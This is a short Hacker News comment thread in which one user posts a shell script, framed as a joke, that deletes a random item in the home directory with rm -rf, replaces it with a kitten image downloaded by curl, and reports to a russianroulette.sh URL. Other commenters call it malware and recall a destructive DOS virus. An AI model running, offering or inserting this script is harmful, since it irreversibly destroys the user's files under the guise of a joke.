8 ms·
#!/bin/sh ( files=(~/*); f="${files[RANDOM % ${#files[@]}]}" rm -rf "$f" curl http://placekitten.com/g/320/240 > "$f" echo 'bang!' $f 'is now a kit
by pvnick 13y ago
#!/bin/sh
(
files=(~/*);
f="${files[RANDOM % ${#files[@]}]}"
rm -rf "$f"
curl http://placekitten.com/g/320/240 > "$f"
echo 'bang!' $f 'is now a kitten' ) && curl --silent -o /dev/null http://russianroulette.sh/b/QPteR3KS/3/NamelessWonder
cute, but please refrain from pasting malware to HN
- vezzy-fnord 13y agoAt least you know he's serious about the Russian roulette. It also illustrates the point, quite directly. Reminds me of the old Casino DOS virus which copied the FAT to RAM and proceeded to flush it, but challenged you to a game of slots to retrieve the data (it was a fluke, your data would be destroyed in all cases). By the way, the page markup isn't that bad. You're using tables and HTML4 semantics in an HTML5 doctype declaration, but the actual quality is fine.